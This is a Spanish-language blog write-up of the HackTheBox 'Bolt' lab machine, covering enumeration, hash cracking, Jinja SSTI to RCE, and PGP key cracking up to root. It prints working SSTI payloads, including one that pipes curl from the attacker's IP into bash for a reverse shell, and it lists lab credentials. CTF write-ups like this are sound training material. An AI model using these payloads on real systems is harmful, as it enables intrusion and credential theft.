← Back to list

Bolt | HackTheBox (Writeup)

Information Leakage

eldeim · 2024-11-29 13:11 · 0 claps · 11.1 min read
Open on Medium ↗

Bolt | HackTheBox (Writeup)

  • Information Leakage
  • Subdomain Enumeration
  • SSTI (Server Side Template Injection)
  • Abusing PassBolt
  • Abusing GPG

Reconocimiento — Nmap

Escaneo de Puertos

sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.11.114 -oG allPorts
PORT    STATE SERVICE REASON
22/tcp  open  ssh     syn-ack ttl 63
80/tcp  open  http    syn-ack ttl 63
443/tcp open  https   syn-ack ttl 63

Escaneo de Servicios

nmap -p22,80,443 -sCV -oN targeted 10.10.11.114
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 4d:20:8a:b2:c2:8c:f5:3e:be:d2:e8:18:16:28:6e:8e (RSA)
|   256 7b:0e:c7:5f:5a:4c:7a:11:7f:dd:58:5a:17:2f:cd:ea (ECDSA)
|_  256 a7:22:4e:45:19:8e:7d:3c:bc:df:6e:1d:6c:4f:41:56 (ED25519)
80/tcp  open  http     nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title:     Starter Website -  About 
443/tcp open  ssl/http nginx 1.18.0 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=passbolt.bolt.htb/organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU
| Not valid before: 2021-02-24T19:11:23
|_Not valid after:  2022-02-24T19:11:23
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-title: Passbolt | Open source password manager for teams
|_Requested resource was /auth/login?redirect=%2F
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Raro… veamos mejor esto desde la web →

:80

:80

:443

:443

No se ve nadaa en esta web, miro el codigo fuente →

view-source :443

view-source :443

Lo primero que veo es que es un gestor de contraseñas llamado passbolt, habrá que ver si hay vulnerabilidades… luego, vemos que hay virtual hosting

passbolt.bolt.htb
bolt.htb

Añado estas dos rutas al /etc/hosts →

add /ect/hosts

add /ect/hosts

Ahora si voy de nuevo a la web, ya que es posible que carguen recursos diferente al apuntar desde su ruta que desde su ip …

nice view :443

nice view :443

Lanzo un whatweb a ver que encuentro intentando enumerar mas →

:80

:80

:443

:443

Hace un redirect si apunto a https://bolt.htb Mirentras le lanzo un gobuster al :80 == http://bolt.htb

HTTP Brute Force Enumeration | Gobuster

gobuster dir -u http://bolt.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x txt,db,php,md,js -t 150
===============================================================
/index                (Status: 308) [Size: 239] [--> http://bolt.htb/]
/download             (Status: 200) [Size: 18570]
/contact              (Status: 200) [Size: 26293]
/login                (Status: 200) [Size: 9287]
/register             (Status: 200) [Size: 11038]
/profile              (Status: 500) [Size: 290]
/services             (Status: 200) [Size: 22443]
/pricing              (Status: 200) [Size: 31731]
/logout               (Status: 302) [Size: 209] [--> http://bolt.htb/]
/sign-in              (Status: 200) [Size: 9287]
/sign-up              (Status: 200) [Size: 11038]

Intento registrarme en el /register que es el mas jugoso …

/register

/register

Pero no funciona, da 500 internal error, voy a /download

/download

/download

Vemos un boton de descargar… al parecer un docker que incluye una web o algo asi… Me lo descargo →

Vemos un image.tar, y lo descomprimo para ver su contido …

Bufff perezon… se me ha descargado mucha traya… Me llamado la atención el ultimo archivo .json .. parecen hashes… se lo voy a pasar a chatgpt a ver que dice →

Pero… nada estos no se pueden romper con john o hashcat… Al haber muchas carpetas voy a mirar rápidamente por encima de cada una de ellas con tree

tree

tree

Veo prácticamente lo mismo, voy a meterme en una de estas carpetas a investigar y descomprimir el layer.tar →

O no… creo que me ha creado mucha mierda…

Bueno.. es una ruta de… que cojones.. de /home /root… voy a curiosear…

wow.. esta vacio lol, estoy perdido de cojones… Vale pensemos… hay 8 mas como este o asi, por cojones tiene que haber algo en algunos, comparemos…

Porque digo tanto cojones?? cojones!

Todos asi de primeras pesan lo mismo… pero investigando, cada layer.tar de dentro, pesan diferente y tiene diferente contenido

Este por ejemplo pesa 20 kb, cuando los otros llegaban a pesar hasta 33mb, mucha diferencia… lo voy a descomprimir →

Veo una bbdd sqlite… vaya quilite loko, voy a intentar conectarme de manera local →

admin|admin@bolt.htb:$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.

Pedazo de hash que pienso intentar romper con john →

Guarod el hash y lanzo un john a ver si hay coincidencia →

john --wordlist=/usr/share/wordlists/rockyou.txt hash

admin:deadbolt

uuuuu, logeemosnos en el bolt.htb

Me da que pensar de que pude ser sucesible a un SSTI pero.. veamos que podemos escribir algo en algún sitio para hacer la prueba…

Pruebo a enviar algo →

Peto… esto no va… pero me doy cuenta que en la conversación… hablar de una demo del docker que necesitas una invitación para utilizarlo… y nosotros no hemos visto nada de eso…

dudas

dudas

Voy a buscar mas subdominios con gobuster…

DNS Brute Force Enumeration | Gobuster

gobuster vhost -u http://bolt.htb -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 | grep -v 301
===============================================================
Finished

En este punto, tuve que tirar de writeups, porque por alguna rara ocasión, ni el gobuster, ni el wuff, me sacaban subdominios… raro. A vosotros os tiene que salir los dos subdominios nuevos

demo.bolt.htb
mail.bolt.htb

add /etc/hosts

add /etc/hosts

mail.bolt.htb

mail.bolt.htb

demo.bolt.htb

demo.bolt.htb

Probé admin:deadbolt en todos los paneles… pero nada, voy a probar a registrarme…

Pero pide un codigo de invitación… voy a mirar el codigo fuente →

Se me ocurre buscar por todos los archivos algo con nombre invite_code, capaz que haya uno →

coincidencias encotradas

coincidencias encotradas

Revisando los archivos veo este →

41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/app/base/routes.py

41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/app/base/routes.py

41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/app/base/routes.py

Literal es el codigo /register. Y veo este codigo : XNSS-HSJW-3NGU-8XTJ : en el codigo dice, si el codigo de invitación no es exactamente este: XNSS-HSJW-3NGU-8XTJ, ningún otro es valido asi que… esto tiene que funcionar… probemos →

demo.bolt.htb/register

demo.bolt.htb/register

Me redirige al /login como si hubiera funcionado, entro→

demo.bolt.htb/admin

demo.bolt.htb/admin

lol, vale, este adminlte3 tiene mas cosas que el bolt.htb a secas… y sigo viendo abajo a la derecha del todo (AdminLTE Flask)… pero tras una investigación.. no encuentro mucho… Quiero ver si en mail.bolt.htb, esta cuenta de eldeim nueva, me vale →

Y si… sirve… wtf, y antes cuando he intentado cambiarme el nombre en el demo.bolt.htb no me dejo, pero aqui tengo una petición de solicitud… le doy al link →

ojoo 81, os explico… Antes curioseando en demo.bolt hay un campo de settings, donde te puedes cambiar el nombre y mas… Probe una SSTI {{99}}. Volveré a hacerlo con el {{77}} para mostraros :

demo.bolt.htb/admin/profile — — settings

demo.bolt.htb/admin/profile — — settings

Ahora si le doy a submit, debería llegarme un correo de confirmación a mail.bolt.htb →

Correcto, voy a darle al enlace y me llega otro correo confirmando que se ha cambiado →

Correcto!!! Esto significa que podriamos escalarlo a un RCE a traves de un SSTI

Hay un recurso en git llamado PayloadsAllTheThings que contempla codigo de este:

[embed]PayloadsAllTheThings/Server Side Template Injection at master · swisskyrepo/PayloadsAllTheThings A list of useful payloads and bypass for Web Application Security and Pentest/CTF - PayloadsAllTheThings/Server Side…github.com

Aqui hace referencia a la prueba que hice, como sabia/intuía que era jinja , tire con *{{77}}**

Aqui hace referencia a codigos para un RCE, voy a empezar a probar de arriba hacia abajo… si uno no funciona… probamos otro…

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}

Pruebo con este primero, tal que asi →

okay.. Vamos al correo y confirmamos →

mail.bolt.htb

mail.bolt.htb

UUUUHHH yeah baby! RCE! Ahora mandemos una reverse shell cabron

Con esto hacemos que la maquina victima apunte a nuestra web /shell y después se pipee con la tubería | para que lo ejecute con bash →

Nos levantamos desde esa misma ruta un servidor web con pyhton

Nos ponemos por escucha con netcat por el puerto 443 →

Y ahora vamos al settings de demo.bolt.htb y encviamos esto :

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('curl http://10.10.14.16/shell | bash').read() }}

Modificar vuestra ip y tal, cabrones

Vamos al correo para confirmar el cambio →

Se quedo colgando… y es porque tenemos la shell !!

Hago el tratamiento de la tty →

>script /dev/null -c bash
>Ctrl+z
>stty raw -echo; fg
>reset xterm
>export TERM=xterm
>export SHELL=bash
>stty rows 36 columns 151 --dimensiones pantalla

Me doy cuenta que existen dos usuarios … Sigamos

/var/ww/demo/config.py

/var/ww/demo/config.py

Mirando y sabiendo que existe esta web passbolt.bolt.htb →

passbolt.bolt.htb

passbolt.bolt.htb

He buscado desde la raiz / algo con nombre passbolt

find / -name "passbolt*" 2>/dev/null

/etc/passbolt/passbolt.php me llamo la atención →

passbolt:rT2;jW7<eY8!dX8}pQ8%

De la base de datos… pero… vale… antes de nada voy a probar a migrar de usuarios y si no, curiseo la base de datos esa. Existen dos users (clark && eddie) →

Valee!! tenemos flag del user!!

No tiene nada importante ni de sudoers ni de ides… vale, veamos esa base de datos →

mysql database

mysql database

Esos me llamaron la atencion, enumeremos →

select * from secrets;

select from secrets;*

-----BEGIN PGP MESSAGE-----
Version: OpenPGP.js v4.10.9
Comment: https://openpgpjs.org

wcBMA/ZcqHmj13/kAQgAkS/2GvYLxglAIQpzFCydAPOj6QwdVV5BR17W5psc
g/ajGlQbkE6wgmpoV7HuyABUjgrNYwZGN7ak2Pkb+/3LZgtpV/PJCAD030kY
pCLSEEzPBiIGQ9VauHpATf8YZnwK1JwO/BQnpJUJV71YOon6PNV71T2zFr3H
oAFbR/wPyF6Lpkwy56u3A2A6lbDb3sRl/SVIj6xtXn+fICeHjvYEm2IrE4Px
l+DjN5Nf4aqxEheWzmJwcyYqTsZLMtw+rnBlLYOaGRaa8nWmcUlMrLYD218R
zyL8zZw0AEo6aOToteDPchiIMqjuExsqjG71CO1ohIIlnlK602+x7/8b7nQp
edLA7wF8tR9g8Tpy+ToQOozGKBy/auqOHO66vA1EKJkYSZzMXxnp45XA38+u
l0/OwtBNuNHreOIH090dHXx69IsyrYXt9dAbFhvbWr6eP/MIgh5I0RkYwGCt
oPeQehKMPkCzyQl6Ren4iKS+F+L207kwqZ+jP8uEn3nauCmm64pcvy/RZJp7
FUlT7Sc0hmZRIRQJ2U9vK2V63Yre0hfAj0f8F50cRR+v+BMLFNJVQ6Ck3Nov
8fG5otsEteRjkc58itOGQ38EsnH3sJ3WuDw8ifeR/+K72r39WiBEiE2WHVey
5nOF6WEnUOz0j0CKoFzQgri9YyK6CZ3519x3amBTgITmKPfgRsMy2OWU/7tY
NdLxO3vh2Eht7tqqpzJwW0CkniTLcfrzP++0cHgAKF2tkTQtLO6QOdpzIH5a
Iebmi/MVUAw3a9J+qeVvjdtvb2fKCSgEYY4ny992ov5nTKSH9Hi1ny2vrBhs
nO9/aqEQ+2tE60QFsa2dbAAn7QKk8VE2B05jBGSLa0H7xQxshwSQYnHaJCE6
TQtOIti4o2sKEAFQnf7RDgpWeugbn/vphihSA984
=P38i
-----END PGP MESSAGE-----

Un mensaje pgp encriptado… me lo guardo en mi maquina …

Pero por lo demás esta base de datos esta casi vacía… no hay nada interesante… un simple mensaje encriptado, pues ok, enumero el /home de eddie →

De aqui me llamaron la atención estos tres archivos, sobre todo .config por su tamaño/contenido

Tirano de un writeup y viendo que lanzan linpes, veo esta ruta →

/home/eddie/.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log

Cuando lo abres te encuentras con un archivo con mucho ruido… pero… tambien una pgp private key →

pgp private key

pgp private key

Teniendo una publica y ahora la privada, solo haría falta descifrar la contraseña de la clave privada al igual que se hace con una de ssh, para asi aplicarla a la publica y ver su contenido. Me copio esto …

Se ve chungo y hay mierda en medio como //r//n, hay que eliminar eso →

cat private.key | tr -d '\n' | sponge private.key

Ahora lo abrimos con vi, ponemos : y hacemos/pegamos estas reyecks o como se llamen/escriban →

:%s/\\\\r\\\\n/\r/g

Luego guardamos con el tipico :wq y al hacer cat, se tiene que ver asi →

Limpio y ordenando, ahora… utilizamos gpg2john →

gpg2john

gpg2john

Nos saca el hash a explotar con fuerza bruta, me lo guardo como hash2 por ejemplo, y le lanzo un john →

Os adelanto que tarda unos 20 minutos en sacar la passwd

gpgprivatejey:merrychristmas

Para leer el mensaje encriptado, primero hay que importar la clave privada que tenemos, poniendo la contraseña →

gpg - import private.key

merrychristmas

merrychristmas

Todo importado correctamente y ahora leemos →

gpg -d message.crypted

password:Z(2rmxsNW(Z?3=p/9s

Intento migrar como root →

Su puta madre… he acabado asqueado y todo… JAJAJAJA Esto es mínimo dificultas OSCP no me jodas, que hago yo haciendo esto para prepárame para la eWPT si no los SSTI entran! AAJAJAJA eso si fuera para la eWPTX, te lo compro… JAJAAJ puto microjoan, se nos fue de las manos todo esto. Mas vale malo conocido, que malo por concer no? Okay chao

by eldeim


메타데이터
post_id
4ef36bca56f0
slug
bolt-hackthebox-writeup-4ef36bca56f0
url
https://medium.com/@eldeim/bolt-hackthebox-writeup-4ef36bca56f0
canonical_url
https://medium.com/@eldeim/bolt-hackthebox-writeup-4ef36bca56f0
author_url
https://medium.com/@eldeim
status
ok
fetched_at
2026-06-27 07:40:21